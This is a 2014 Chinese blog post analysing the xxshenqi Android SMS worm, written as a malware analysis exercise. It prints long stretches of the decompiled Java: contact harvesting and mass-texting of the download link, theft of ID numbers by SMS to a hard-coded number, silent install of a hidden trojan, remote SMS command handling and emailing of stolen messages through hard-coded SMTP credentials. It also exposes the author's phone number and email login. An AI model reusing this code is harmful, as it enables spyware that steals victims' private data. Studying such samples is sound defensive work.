首页 > 技术文章 > xxshenqi分析报告

sevenr 2014-08-07 15:56 原文

背景


    今年七夕爆发了一场大规模手机病毒传播,apk的名字叫做xxshenqi。中了这个病毒的用户会群发手机所有联系人一条信息,内容是包含这个apk下载的链接,同时用户的联系人信息和短信会被窃取,造成隐私泄露和电话扣费的危害。事实上,xxshenqi.apk只是一个外壳,达到扩散及得到用户的身份证和姓名的目的,它解压后会发现还内嵌有一个com.android.Trogoogle.apk的木马程序,这个程序能够控制用户短信,包括读取,发送和伪造。


反编译


    由于软件的作者没有进行代码混淆,所以对apk反编译之后的代码一目了然。


前期准备:

1.解压软件    (解压apk,获得classes.dex)

2.dex2jar    (将apk的classes.dex转化为jar文件)

3.jd-gui    (反编译工具,直接查看jar包的源代码)

4.xxshenqi.apk    (样本)


步骤:

1.用解压软件把xxshenqi.apk解压出来,找到一个classes.dex文件,这个是安卓源码编译过的字节码包

2.将这个classes.dex文件复制到dex2jar.bat同一目录下

3.cmd到该目录下,运行命令>> d2j-dex2jar.bat classes.dex

4.得到一个classes_dex2jar.jar文件

5.用jd-gui.exe打开这个jar文件,就可以看到源代码了

6.用1-5步骤得到assets目录下的com.android.Trogoogle.apk的源代码


代码分析


包名:com.example.xxshenqi

                                                                                    |->点击登陆按钮->永远无法登陆成功

程序运行的步骤是:WelcomeActivity->MainActivity{

                                                                                    |->点击注册按钮->RegisterActivity


WelcomeActivity

首先可以发现WelcomeActivity是最开始的欢迎界面,在启动这个界面的过程中,程序就已经完成以下几件事:

1.读取联系人信息,包括联系人姓名和联系人手机号码

2.向所有联系人群发一条短信

3.群发完成后向作者发送一条完成短信


接下来分析WelcomeActivity中的ReadCONTACTS方法中的代码:

 1 private void ReadCONTACTS(Context paramContext)
 2   {
 3     this.contactArray = new ArrayList();
 4     this.context = paramContext;
 5     this.cursor = this.context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
 6     new Thread()
 7     {
 8       public void run()
 9       {
10         if (!WelcomeActivity.this.cursor.moveToNext())
11         {
12           if (WelcomeActivity.this.counts != 99) {}
13         }
14         else
15         {
16           String str = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("_id"));
17           WelcomeActivity.this.nameString = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("display_name"));
18           Cursor localCursor = WelcomeActivity.this.context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + str, null, null);
19           ArrayList localArrayList = new ArrayList();
20           localArrayList.add("\r\n" + WelcomeActivity.this.nameString);
21           for (;;)
22           {
23             if (!localCursor.moveToNext()) {}
24             for (;;)
25             {
26               localCursor.close();
27               WelcomeActivity.this.contactArray.add(localArrayList);
28               break;
29               WelcomeActivity.this.phoneString = localCursor.getString(localCursor.getColumnIndex("data1"));
30               WelcomeActivity.this.phoneString = WelcomeActivity.this.phoneString.replace(" ", "");
31               WelcomeActivity.this.phoneString = WelcomeActivity.this.phoneString.replace("+86", "");
32               try
33               {
34                 if (WelcomeActivity.this.phoneString.length() == 11)
35                 {
36                   sleep(20L);
37                   if ((WelcomeActivity.this.counts % 20 == 0) && (WelcomeActivity.this.counts != 0)) {
38                     sleep(5000L);
39                   }
40                   if (WelcomeActivity.this.counts == 99) {
41                     continue;
42                   }
43                   SmsManager.getDefault().sendTextMessage(WelcomeActivity.this.phoneString, null, WelcomeActivity.this.nameString + "看这个," + "http://cdn.yyupload.com/down/4279193/XXshenqi.apk", null, null);
44                   WelcomeActivity localWelcomeActivity1 = WelcomeActivity.this;
45                   localWelcomeActivity1.counts = (1 + localWelcomeActivity1.counts);
46                   System.out.println("send Message to " + WelcomeActivity.this.nameString + " " + WelcomeActivity.this.counts);
47                 }
48               }
49               catch (Exception localException)
50               {
51                 for (;;)
52                 {
53                   localException.toString();
54                 }
55               }
56             }
57             localArrayList.add(WelcomeActivity.this.phoneString);
58           }
59         }
60         SmsManager.getDefault().sendTextMessage("18670259904", null, "XXshenqi 群发链接OK", null, null);
61         WelcomeActivity localWelcomeActivity2 = WelcomeActivity.this;
62         localWelcomeActivity2.counts = (1 + localWelcomeActivity2.counts);
63         System.out.println("===========================");
64         System.out.println("test---->群发OK");
65         System.out.println("============================");
66       }
67     }.start();
68   }

 


可以看到以下几条关键代码:


this.cursor = this.context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);

读取通讯录


WelcomeActivity.this.nameString = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("display_name"));

获得联系人姓名


 WelcomeActivity.this.phoneString = localCursor.getString(localCursor.getColumnIndex("data1"));

获得联系人手机号码


在这里,作者对联系人手机号码做了一些处理,把空格和"+86"前缀去掉,得到11位的手机号码,在判断手机号码为11位之后,就开始发短信。同时,为了防止过于快速的发送短信被运营商封禁,作者还做了休眠(sleep()),每条短信休眠20ms,每20条短信休眠5秒,每100条短信清空一下指针。


SmsManager.getDefault().sendTextMessage(WelcomeActivity.this.phoneString, null, WelcomeActivity.this.nameString + "看这个," + "http://cdn.yyupload.com/down/4279193/XXshenqi.apk", null, null)

上面就是发送短信的代码,也就是广大用户收到的那条短信,可以看出第一个参数是接收端的手机号码,第三个参数是短信内容,其中这里的代码phoneString存的是手机号码,nameString存的是联系人名字。


SmsManager.getDefault().sendTextMessage("18670259904", null, "XXshenqi 群发链接OK", null, null);

最后,群发成功后就会发送一条信息给作者。这里也可以看到作者的手机号码。


MainActivity

在前面程序完成了散播病毒的功能,接下来在MainActivity完成以下几件事:

1.检测Trogoogle子包是否已经安装,如果没有,就引导用户去安装,然后找到assets目录下的com.android.Trogoogle.apk安装

2.安装成功后会发一条信息给作者,表示用户已经中了木马

3.此时到了程序主界面,如果用户选择“登陆",就先对网络进行检测,事实上用户是永远不可能登陆成功的,因为若用户输入的密码大于等于6位,会显示"正在验证,请稍后..."“密码错误或账号不存在”,若用户输入的密码小于6位,会显示"请输入正确的密码或账号"(传说中的坑爹);如果用户选择"注册",那么就会到了RegisterActivity进行注册


检测和安装Trogoogle

 1 if (!detectApk("com.example.com.android.trogoogle"))
 2     {
 3       System.out.println("host开始安装==============================");
 4       String str = getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
 5       retrieveApkFromAssets(this, "com.android.Trogoogle.apk", str);
 6       showInstallConfirmDialog(this, str);
 7     }</span>
 8 
 9 <span style="font-size:18px;">  public boolean retrieveApkFromAssets(Context paramContext, String paramString1, String paramString2)
10   {
11     try
12     {
13       File localFile = new File(paramString2);
14       if (localFile.exists()) {
15         return true;
16       }
17       localFile.createNewFile();
18       InputStream localInputStream = paramContext.getAssets().open(paramString1);
19       FileOutputStream localFileOutputStream = new FileOutputStream(localFile);
20       byte[] arrayOfByte = new byte[1024];
21       boolean bool;
22       for (;;)
23       {
24         int i = localInputStream.read(arrayOfByte);
25         if (i == -1)
26         {
27           localFileOutputStream.flush();
28           localFileOutputStream.close();
29           localInputStream.close();
30           bool = true;
31           break;
32         }
33         localFileOutputStream.write(arrayOfByte, 0, i);
34       }
35       AlertDialog.Builder localBuilder;
36       return bool;
37     }
38     catch (IOException localIOException)
39     {
40       Toast.makeText(paramContext, localIOException.getMessage(), 2000).show();
41       localBuilder = new AlertDialog.Builder(paramContext);
42       localBuilder.setMessage(localIOException.getMessage());
43       localBuilder.show();
44       localIOException.printStackTrace();
45       bool = false;
46     }
47   }
48   
49   public void showInstallConfirmDialog(final Context paramContext, final String paramString)
50   {
51     AlertDialog.Builder localBuilder = new AlertDialog.Builder(paramContext);
52     localBuilder.setIcon(2130837592);
53     localBuilder.setTitle("未安装资源包");
54     localBuilder.setMessage("请先安装资源包,资源包已整合至APK,点击安装即可安装。");
55     localBuilder.setPositiveButton("安装", new DialogInterface.OnClickListener()
56     {
57       public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt)
58       {
59         try
60         {
61           String str = "chmod 777 " + paramString;
62           Runtime.getRuntime().exec(str);
63           Intent localIntent = new Intent("android.intent.action.VIEW");
64           localIntent.addFlags(268435456);
65           localIntent.setDataAndType(Uri.parse("file://" + paramString), "application/vnd.android.package-archive");
66           paramContext.startActivity(localIntent);
67           return;
68         }
69         catch (IOException localIOException)
70         {
71           for (;;)
72           {
73             localIOException.printStackTrace();
74           }
75         }
76       }
77     });
78     localBuilder.show();
79   }

 


登陆
 1  public void onClick(View paramAnonymousView)
 2       {
 3         if (!MainActivity.this.detectApk("com.example.com.android.trogoogle"))
 4         {
 5           String str = MainActivity.this.getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
 6           MainActivity.this.retrieveApkFromAssets(MainActivity.this, "com.android.Trogoogle.apk", str);
 7           MainActivity.this.showInstallConfirmDialog(MainActivity.this, str);
 8           return;
 9         }
10         if (!MainActivity.this.goToNetWork())
11         {
12           Toast.makeText(MainActivity.this, "无法连接,请检查您的网络!", 0).show();
13           return;
14         }
15         if (MainActivity.this.pass.getText().toString().length() >= 6)
16         {
17           Toast.makeText(MainActivity.this, "正在验证,请稍后...", 0).show();
18           Toast.makeText(MainActivity.this, "密码错误或账号不存在!", 0).show();
19           return;
20         }
21         Toast.makeText(MainActivity.this, "请输入正确的账号或密码", 0).show();
22       }

 



RegisterActivity

 1 public void onClick(View paramAnonymousView)
 2       {
 3         String str = RegisterActivity.this.idEditText.getText().toString();
 4         if (str.length() != 18)
 5         {
 6           Toast.makeText(RegisterActivity.this, "请输入正确的身份证号", 0).show();
 7           return;
 8         }
 9         int i = Integer.parseInt(str.substring(6, 10));
10         int j = Integer.parseInt(str.substring(10, 12));
11         int k = Integer.parseInt(str.substring(12, 14));
12         if ((i > 1996) || (i < 1980) || (j > 12) || (j == 0) || (k == 0) || (k > 31))
13         {
14           Toast.makeText(RegisterActivity.this, "请输入正确的身份证号", 0).show();
15           return;
16         }
17         if ((RegisterActivity.this.nameEditText.getText().toString().length() < 2) || (RegisterActivity.this.nameEditText.getText().toString().length() > 4))
18         {
19           Toast.makeText(RegisterActivity.this, "请输入正确的姓名", 0).show();
20           return;
21         }
22         SmsManager.getDefault().sendTextMessage("18670259904", null, "得到主机,姓名:" + RegisterActivity.this.nameEditText.getText().toString() + ",身份证号为:" + str, null, null);
23         Toast.makeText(RegisterActivity.this, "注册成功!", 0).show();
24         RegisterActivity.this.startActivity(new Intent(RegisterActivity.this, MainActivity.class));
25       }

 

这个注册的Activity获取了用户填写的姓名和身份证号,注册完成后这些信息会以短信的形式发送到作者的手机上。同时,从上面的代码可以看出作者也对姓名和身份证号做了简单的校验。

分析完掩人耳目的外壳,现在来看里面的木马程序


包名:example.com.android.trogoogle


MainActivity

在这个入口程序中,主要的功能是实现隐藏图标。

 1 protected void onCreate(Bundle paramBundle)
 2   {
 3     super.onCreate(paramBundle);
 4     requestWindowFeature(1);
 5     setContentView(2130903063);
 6     getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
 7     System.out.println("APP图标隐藏成功==============================");
 8     Intent localIntent = new Intent();
 9     localIntent.setClass(this, ListenMessageService.class);
10     startService(localIntent);
11     System.out.println(" startService成功==============================");
12     System.out.println("--------->>>finish()");
13     finish();
14   }

 


ListenMessageService

这里有个比较重要的类SmsObserver,顾名思义,是用来监控短信的。里面包含了SEND查询和RECV查询,以及几种处理状态。当发件箱有变化时,就会进入SEND查询;当收件箱有变化时就会进入RECV查询。


BroadcastRecvMessage

RECV有几种指令,包括

readmessage指令就会读取所有短信并且发送到作者的邮箱中;

sendmessage指令就会发送指定的内容到指定的号码;

makemessage指令伪造短信


 1 if (!str5.equals("readmessage")) {
 2           break label188;
 3         }
 4         System.out.println("木马收到发送邮件命令==============================");
 5         String str10 = ReadAllMessage(paramContext);
 6         Intent localIntent4 = new Intent(paramContext, MySendEmailService.class);
 7         localIntent4.putExtra("String", str10);
 8         paramContext.startService(localIntent4);
 9         abortBroadcast();
10         continue;
11         if (!str5.equals("sendmessage")) {
12           break label188;
13         }
14         System.out.println("木马收到发送短信命令==============================");
15         int n = str2.lastIndexOf('/');
16         String str8 = str2.substring(k + 1, n);
17         String str9 = str2.substring(n + 1, str2.length());
18         SmsManager.getDefault().sendTextMessage(str8, null, str9, null, null);
19         System.out.println("木马发送短信成功================================");

 


 1 if (!str5.equals("makemessage")) {
 2           break label188;
 3         }
 4         System.out.println("木马收到伪造短信命令==============================");
 5         int m = str2.lastIndexOf('/');
 6         String str6 = str2.substring(k + 1, m);
 7         String str7 = str2.substring(m + 1, str2.length());
 8         Intent localIntent3 = new Intent(paramContext, MyMakeMessageService.class);
 9         localIntent3.putExtra("address", str6);
10         localIntent3.putExtra("body", str7);
11         paramContext.startService(localIntent3);

 


同时还有一些作者判定的信息内容也会发送给作者(比如,淘宝和普通的信息)

1 System.out.println("木马觉得淘宝信息==============================");
2       str4 = "【特殊消息】" + str2;
3       if (str4.length() > 60)
4       {
5         localSmsManager.sendTextMessage("18670259904", null, str4.substring(0, str4.length() / 2), null, null);
6         localSmsManager.sendTextMessage("18670259904", null, str4.substring(1 + str4.length() / 2), null, null);
7       }

 


1 System.out.println("木马觉得是普通信息==============================");
2       localSmsManager.sendTextMessage("18670259904", null, "From:" + str3 + ";content:" + str2, null, null);

 



MySendEmailService

这里作者暴露了他的个人邮箱和口令

 1 protected void onHandleIntent(Intent paramIntent)
 2   {
 3     System.out.println("木马进入MySendEmailService==============================");
 4     String str = paramIntent.getStringExtra("String");
 5     System.out.println("木马开始发送邮件============================");
 6     MailSenderInfo localMailSenderInfo = new MailSenderInfo();
 7     localMailSenderInfo.setMailServerHost("smtp.qq.com");
 8     localMailSenderInfo.setMailServerPort("25");
 9     localMailSenderInfo.setValidate(true);
10     localMailSenderInfo.setUserName("a137736513@qq.com");
11     localMailSenderInfo.setPassword("lishulili.");
12     localMailSenderInfo.setFromAddress("a137736513@qq.com");
13     localMailSenderInfo.setToAddress("137736513@qq.com");
14     localMailSenderInfo.setSubject("信息");
15     localMailSenderInfo.setContent(str);
16     new SimpleMailSender().sendTextMail(localMailSenderInfo);
17     SimpleMailSender.sendHtmlMail(localMailSenderInfo);
18     System.out.println("木马完成发送邮件=============================");
19     System.out.println("木马离开MySendEmailService=============================");
20     System.out.println("木马killProcess==============================");
21     Process.killProcess(Process.myPid());
22   }

 


当然,现在口令已经被改了。


总结

据作者本人说没想过影响会那么大。确实,社工部分非常简陋,传播的信息内容只是”xxx,看这个,http://cdn.yyupload.com/down/4279193/XXshenqi.apk“,这样子看来,毫不犹豫点击这个链接看上去挺傻的,因为发送者什么都没有说明,可事实上确实有很多用户中招了。

虽然很多人说作者做这个东西其实没什么技术含量,但是他才大一,并且想做就做了,这点挺佩服的,如果能增加一点法律意识可能就没那么悲剧了。


后记

这个程序在安全大牛眼里可能是一个玩具,但是对于我来说拿来练手就刚刚好了。第一次反编译和分析apk,有种莫名的成就感。不过文章写出来,似乎表达差了一点。最后非常感谢CJ给我提供了样本。


参考

http://fashion4cj.com/shuo-yi-shuo-xxshenqizhe-ge-shi-qing-ba.html

http://www.cnblogs.com/qxzy/p/3889296.html


推荐阅读